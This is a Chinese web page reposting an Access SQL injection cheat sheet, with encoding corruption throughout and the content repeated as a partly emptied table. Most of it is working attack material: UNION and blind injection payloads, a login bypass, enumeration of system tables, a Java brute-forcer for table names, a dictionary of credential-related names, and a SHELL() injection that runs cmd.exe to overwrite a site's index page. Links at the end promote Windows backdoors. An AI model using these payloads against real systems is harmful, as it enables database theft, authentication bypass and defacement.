整理比較全的Access SQL注入?yún)⒖?/h1>
更新時間:2008年05月31日 22:43:14 作者:
不知誰整理的access sql注入資料比較全
Access SQL注入?yún)⒖?/FONT>
版本 0.2.1
(最近更新 10/10/2007)
原作者不詳
描述
SQL查詢及注釋
注釋符
Access中沒有專門的注釋符號.因此"/*", "--"和"#"都沒法使用.但是可以使用空字符"NULL"(%00)代替:
-
' UNION SELECT 1,1,1 FROM validTableName%00
語法錯誤信息
"[Microsoft][Driver ODBC Microsoft Access]"
多句執(zhí)行
不支持.
聯(lián)合查詢
Access支持聯(lián)合查詢,UNION后的FROM關(guān)鍵字必須使用一個已經(jīng)存在的表名.
附屬查詢
Access支持附屬查詢(例如:"TOP 1"用來返回第一行的內(nèi)容) :
- ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
LIMIT支持
LIMIT不被支持,但是在查詢中可以聲明"TOP N"來限制返回內(nèi)容的行數(shù):
- ' UNION SELECT TOP 3 AttrName FROM validTableName%00 : 這條語句返回(前)3 行.
讓查詢返回0行
在腳本在返回的HTML結(jié)果中只顯示第一個查詢的結(jié)果的時候非常有用:
- ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
字符串連接
不支持CONCAT()函數(shù). 可以使用"&"或"+"操作來倆接兩個字符串.在使用的時侯必須對這兩個操作符進行URLencode編碼:
-
' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : 返回"webapp"
- ' UNION SELECT 'web' %26 'app' FROM validTableName%00 : 返回"webapp"
子字符串
MID()函數(shù):
- ' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : 返回 "a"
- ' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : 返回 "b"
字符串長度
LEN()函數(shù):
- ' UNION SELECT LEN('1234') FROM validTableName%00 : 返回 4
暴WEB路徑
可以通過對一個不存在的庫進行SELECT操作.Access將會回應(yīng)一條包含有完整路徑的錯誤信息.:
- ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
取字符的ASCII值
ASC()函數(shù):
- ' UNION SELECT ASC('A') FROM ValidTable%00 :返回65 ('A'的ASCII值)
ASCII值轉(zhuǎn)換為字符
CHR()函數(shù):
- ' UNION SELECT CHR(65) FROM validTableName%00 : 返回 'A'
IF語句
可以使用IIF()函數(shù). 語法 : IIF(condition, true, false) :
- ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : 返回 'a'
時間接口
不存在類似BENCHMARK()或SLEEP()的函數(shù),但是可以使用大量(高負載)的查詢來達到這個效果.點擊這里查看參考.
驗證文件是否存在
在注入的時候使用:
-
' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (如果文件存在)將會獲得一條錯誤信息:it informs that the database format was not recognized.
表名猜解
這里有一個簡單的猜解access表名的java代碼.我寫他是為了更好的解釋猜解表名的原理:
static private String columnErrorMessage = "...";
static private String accessError = "...";
[...]
public String bruteTableName(Request r) { // 0
String resp = new String();
String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1
for(int i = 0; i < table.length; i++) {
resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2
if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
return table[i];
}
return null;
}
bruteTableName()的參數(shù)是一個名為"Request"的對象(見注釋0).這個例子靠 sendInjection() (見注釋2)嘗試檢測查詢:
- ' UNION SELECT 1 FROM table[i]%00
table[i]是表名列表中的一個元素(見注釋1). 你能在這篇文章的末尾找到一個小的表名列表.在注釋2處, sendInjection()函數(shù)返回提交注入代碼后的回應(yīng)html代碼.如果resp包含 columnErrorMessage 字符串(見注釋3),恭喜你,你找到了一個存在的表. columnErrorMessage 是在UNION查詢中使用了和主查詢不同的卷數(shù)而返回的錯誤信息.如果表不存在,返回的信息將是表不存在,而不是卷的數(shù)目錯誤.
列名猜解
需要一個已知的表名和主查詢的列的數(shù)目:
- ' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00
你可以將上面的例子修改一下(將table改為fieldname),如果表不存在,將會返回一個列不存在的錯誤信息.
繞過登陸
用戶名: ' OR 1=1%00 (or " OR 1=1%00)
密碼: (留空)
列名枚舉
按語 : 此原理已經(jīng)在JBoss(一個使用Access存在漏洞的.jsp腳本)上測試通過 ,但是不敢保證在其他的環(huán)境下同樣可用.
通常情況下,如果存在SQL注入漏洞,當(dāng)你在URL參數(shù)后加一個"'"后,你將會得到一些錯誤信息,例如:
- Error (...) syntax (...) query (...) : " Id=0' "
從這個信息可以得出當(dāng)前表存在一個列"ID".通常程序員會使用同樣的URL參數(shù),列名及表名.當(dāng)你知道一個參數(shù)后,就可以通過mssql來枚舉其他表名和列名:
- ' GROUP BY Id%00
現(xiàn)在你將獲得一個新的錯誤信息,它包含了另一個新的列名.你可以繼續(xù)像這樣枚舉其他的表名:
- ' GROUP BY Id, SecondAttrName, ...%00
直到獲取到所有的表名.
與操作系統(tǒng)的交互
這些函數(shù)默認不可用
安全提示
可以通過修改注冊表來鎖定一些受爭議的函數(shù)的使用(比如SHELL(),等等...):
- \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
它的默認值是2,因此這些函數(shù)默認不可用.在下面我將會向你介紹當(dāng)注冊表的值被設(shè)置為0的情況.
獲取當(dāng)前目錄
需要一個已知的表名和主查詢的列的數(shù)目:
- ' UNION SELECT CurDir(),1,1 FROM validTableName%00
執(zhí)行系統(tǒng)命令
SHELL()函數(shù)可以用來執(zhí)行系統(tǒng)命令:
- ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00
Access的系統(tǒng)表
這些系統(tǒng)表默認不可訪問
MSysAccessXML
表中包含的列:
- Id
- LValue
- ObjectGuid
- ObjectName
- Property
- Value
MSysACEs
表中包含的列:
- ACM
- FInheritable
- ObjectId
- SID
MSysObjects
這里可以獲得表名:
- Connect
- Database
- DataCreate
- DataUpdate
- Flags
- ForeignName
- Id
- Lv
- LxExtra
- LvModule
- LvProp
- Name
- Owner
- ParentId
- RmtInfoLong
- RmtInfoShort
- Type
這條查詢可以用來獲得數(shù)據(jù)庫中的表名:
- ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
Access盲注(這些步驟用來猜解表的內(nèi)容)
第一步:猜解表名
你可以使用下面提供的字典來猜解表名.注入查詢語句:
- ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00
在提交注入查詢語句后,如果你獲得的HTML返回和正常頁面一樣,則表存在.(因為 "AND 1"對查詢沒有任何影響).
第二步: 猜解列名
在指導(dǎo)表名的情況下,使用如下查詢:
- ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00
用和第一步同樣的方法判斷列是否存在.
第三步:猜解內(nèi)容的行數(shù)
在進一步的行動中,你必須知道表中內(nèi)容的行數(shù). 它在下面的查詢中將被用作"TAB_LEN"變量:
- ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)%00
這里的"X" 是大于0的任意值.可以使用老方法來判斷"X"的準(zhǔn)確值.
第四步:猜解內(nèi)容的長度
你能通過以下語句獲取"ATTRIB"列的第一行的內(nèi)容長度:
-
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00
可以通過以下語句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的內(nèi)容的長度 (這里N的值在2和TAB_LEN(在前面已經(jīng)獲得)之間) :
-
' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00
"KKK" 為大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我們必須選擇一個特定的行來猜解.我想到的方法是將之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.當(dāng)然,這里有一個前提"ATTRIB"必須是主鍵.這里有一個例子:
A1
A2
A3
1111
2222
3333
0000
4444
oooo
aaaa
bbbb
cccc
可以這樣獲取第一行的所有內(nèi)容的長度:
-
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00
然后就可以這樣獲取第二行的內(nèi)容的長度(假設(shè)A1為表的主鍵) :
-
' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)%00
第三行也一樣:
-
' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00
-
' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)%00
很明顯,在猜解第一行以后的內(nèi)容的長度(第2到第TAB_LEN行),你必須得到之前所有行的內(nèi)容(你需要把它放在WHERE后).
第五步:猜解內(nèi)容
假設(shè)攻擊者已經(jīng)知道了表和列名,他將使用這樣的查詢:
-
' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)%00
"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X個字節(jié), "ATT_key"是表的的主鍵"YYY"是一個0到255之間的數(shù).(它代表著一個字符的ASCII碼).這里我們?nèi)稳灰褂们懊嫣岬降姆椒ú陆馄渌械膬?nèi)容.
表名/列名(字典)
表名/列名(字典)
這里是一個小的表/列名樣本字典,在猜解中也許用的到:
-
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
-
customers, customer, config, conf, cfg;
-
hash;
-
login, logout, loginout, log;
-
member, memberid;
-
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
-
store, store1, store2, store3, store4, setting;
-
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;
您可能感興趣的文章:
相關(guān)文章
-
網(wǎng)絡(luò)安全滲透測試使用goby檢測log4j漏洞
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測試使用goby檢測log4j漏洞的過程方法示例有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步 2022-02-02
-
MSSQL注入PUBLIC權(quán)限下的xp_dirtree再度利用方法
MSSQL注入PUBLIC權(quán)限下的xp_dirtree再度利用方法... 2007-10-10
-
NtGodMode.exe任意密碼登錄windows系統(tǒng)帳號下載
NTGod NT上帝模式,打開上帝模式可以用任意密碼登錄任意windows系統(tǒng)帳號,從而達到不增加帳號、不破壞被入侵主機系統(tǒng)的情況下,登錄系統(tǒng)帳號。 2008-05-05
-
變態(tài)入侵之有史以來最酷的Windows后門sethc.exe
變態(tài)入侵之有史以來最酷的Windows后門sethc.exe... 2007-11-11
最新評論
Access SQL注入?yún)⒖?/FONT> 版本 0.2.1 | |||||||||||||
描述 | SQL查詢及注釋 | ||||||||||||
注釋符 | Access中沒有專門的注釋符號.因此"/*", "--"和"#"都沒法使用.但是可以使用空字符"NULL"(%00)代替:
| ||||||||||||
語法錯誤信息 | "[Microsoft][Driver ODBC Microsoft Access]" | ||||||||||||
多句執(zhí)行 | 不支持. | ||||||||||||
聯(lián)合查詢 | Access支持聯(lián)合查詢,UNION后的FROM關(guān)鍵字必須使用一個已經(jīng)存在的表名. | ||||||||||||
附屬查詢 | Access支持附屬查詢(例如:"TOP 1"用來返回第一行的內(nèi)容) :
| ||||||||||||
LIMIT支持 | LIMIT不被支持,但是在查詢中可以聲明"TOP N"來限制返回內(nèi)容的行數(shù):
| ||||||||||||
讓查詢返回0行 | 在腳本在返回的HTML結(jié)果中只顯示第一個查詢的結(jié)果的時候非常有用:
| ||||||||||||
字符串連接 | 不支持CONCAT()函數(shù). 可以使用"&"或"+"操作來倆接兩個字符串.在使用的時侯必須對這兩個操作符進行URLencode編碼:
| ||||||||||||
子字符串 | MID()函數(shù):
| ||||||||||||
字符串長度 | LEN()函數(shù):
| ||||||||||||
暴WEB路徑 | 可以通過對一個不存在的庫進行SELECT操作.Access將會回應(yīng)一條包含有完整路徑的錯誤信息.:
| ||||||||||||
取字符的ASCII值 | ASC()函數(shù):
| ||||||||||||
ASCII值轉(zhuǎn)換為字符 | CHR()函數(shù):
| ||||||||||||
IF語句 | 可以使用IIF()函數(shù). 語法 : IIF(condition, true, false) :
| ||||||||||||
時間接口 | 不存在類似BENCHMARK()或SLEEP()的函數(shù),但是可以使用大量(高負載)的查詢來達到這個效果.點擊這里查看參考. | ||||||||||||
驗證文件是否存在 |
在注入的時候使用:
| ||||||||||||
表名猜解 | 這里有一個簡單的猜解access表名的java代碼.我寫他是為了更好的解釋猜解表名的原理:
bruteTableName()的參數(shù)是一個名為"Request"的對象(見注釋0).這個例子靠 sendInjection() (見注釋2)嘗試檢測查詢:
table[i]是表名列表中的一個元素(見注釋1). 你能在這篇文章的末尾找到一個小的表名列表.在注釋2處, sendInjection()函數(shù)返回提交注入代碼后的回應(yīng)html代碼.如果resp包含 columnErrorMessage 字符串(見注釋3),恭喜你,你找到了一個存在的表. columnErrorMessage 是在UNION查詢中使用了和主查詢不同的卷數(shù)而返回的錯誤信息.如果表不存在,返回的信息將是表不存在,而不是卷的數(shù)目錯誤. | ||||||||||||
列名猜解 | 需要一個已知的表名和主查詢的列的數(shù)目:
你可以將上面的例子修改一下(將table改為fieldname),如果表不存在,將會返回一個列不存在的錯誤信息. | ||||||||||||
繞過登陸 | 用戶名: ' OR 1=1%00 (or " OR 1=1%00)
密碼: (留空) | ||||||||||||
列名枚舉 | 按語 : 此原理已經(jīng)在JBoss(一個使用Access存在漏洞的.jsp腳本)上測試通過 ,但是不敢保證在其他的環(huán)境下同樣可用.
通常情況下,如果存在SQL注入漏洞,當(dāng)你在URL參數(shù)后加一個"'"后,你將會得到一些錯誤信息,例如:
現(xiàn)在你將獲得一個新的錯誤信息,它包含了另一個新的列名.你可以繼續(xù)像這樣枚舉其他的表名:
直到獲取到所有的表名. | ||||||||||||
與操作系統(tǒng)的交互 | |||||||||||||
這些函數(shù)默認不可用 | |||||||||||||
安全提示 | 可以通過修改注冊表來鎖定一些受爭議的函數(shù)的使用(比如SHELL(),等等...):
它的默認值是2,因此這些函數(shù)默認不可用.在下面我將會向你介紹當(dāng)注冊表的值被設(shè)置為0的情況. | ||||||||||||
獲取當(dāng)前目錄 | 需要一個已知的表名和主查詢的列的數(shù)目:
| ||||||||||||
執(zhí)行系統(tǒng)命令 | SHELL()函數(shù)可以用來執(zhí)行系統(tǒng)命令:
| ||||||||||||
Access的系統(tǒng)表 | |||||||||||||
這些系統(tǒng)表默認不可訪問 | |||||||||||||
MSysAccessXML | 表中包含的列:
| ||||||||||||
MSysACEs | 表中包含的列:
| ||||||||||||
MSysObjects | 這里可以獲得表名:
這條查詢可以用來獲得數(shù)據(jù)庫中的表名:
| ||||||||||||
Access盲注(這些步驟用來猜解表的內(nèi)容) | |||||||||||||
第一步:猜解表名 | 你可以使用下面提供的字典來猜解表名.注入查詢語句:
在提交注入查詢語句后,如果你獲得的HTML返回和正常頁面一樣,則表存在.(因為 "AND 1"對查詢沒有任何影響). | ||||||||||||
第二步: 猜解列名 |
在指導(dǎo)表名的情況下,使用如下查詢:
用和第一步同樣的方法判斷列是否存在. | ||||||||||||
第三步:猜解內(nèi)容的行數(shù) | 在進一步的行動中,你必須知道表中內(nèi)容的行數(shù). 它在下面的查詢中將被用作"TAB_LEN"變量:
這里的"X" 是大于0的任意值.可以使用老方法來判斷"X"的準(zhǔn)確值. | ||||||||||||
第四步:猜解內(nèi)容的長度 |
你能通過以下語句獲取"ATTRIB"列的第一行的內(nèi)容長度:
可以通過以下語句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的內(nèi)容的長度 (這里N的值在2和TAB_LEN(在前面已經(jīng)獲得)之間) :
"KKK" 為大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我們必須選擇一個特定的行來猜解.我想到的方法是將之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.當(dāng)然,這里有一個前提"ATTRIB"必須是主鍵.這里有一個例子:
可以這樣獲取第一行的所有內(nèi)容的長度:
然后就可以這樣獲取第二行的內(nèi)容的長度(假設(shè)A1為表的主鍵) :
第三行也一樣:
很明顯,在猜解第一行以后的內(nèi)容的長度(第2到第TAB_LEN行),你必須得到之前所有行的內(nèi)容(你需要把它放在WHERE后). | ||||||||||||
第五步:猜解內(nèi)容 | 假設(shè)攻擊者已經(jīng)知道了表和列名,他將使用這樣的查詢:
"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X個字節(jié), "ATT_key"是表的的主鍵"YYY"是一個0到255之間的數(shù).(它代表著一個字符的ASCII碼).這里我們?nèi)稳灰褂们懊嫣岬降姆椒ú陆馄渌械膬?nèi)容. | ||||||||||||
表名/列名(字典) | |||||||||||||
表名/列名(字典) | 這里是一個小的表/列名樣本字典,在猜解中也許用的到:
|
相關(guān)文章
網(wǎng)絡(luò)安全滲透測試使用goby檢測log4j漏洞
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測試使用goby檢測log4j漏洞的過程方法示例有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步2022-02-02MSSQL注入PUBLIC權(quán)限下的xp_dirtree再度利用方法
MSSQL注入PUBLIC權(quán)限下的xp_dirtree再度利用方法...2007-10-10NtGodMode.exe任意密碼登錄windows系統(tǒng)帳號下載
NTGod NT上帝模式,打開上帝模式可以用任意密碼登錄任意windows系統(tǒng)帳號,從而達到不增加帳號、不破壞被入侵主機系統(tǒng)的情況下,登錄系統(tǒng)帳號。2008-05-05變態(tài)入侵之有史以來最酷的Windows后門sethc.exe
變態(tài)入侵之有史以來最酷的Windows后門sethc.exe...2007-11-11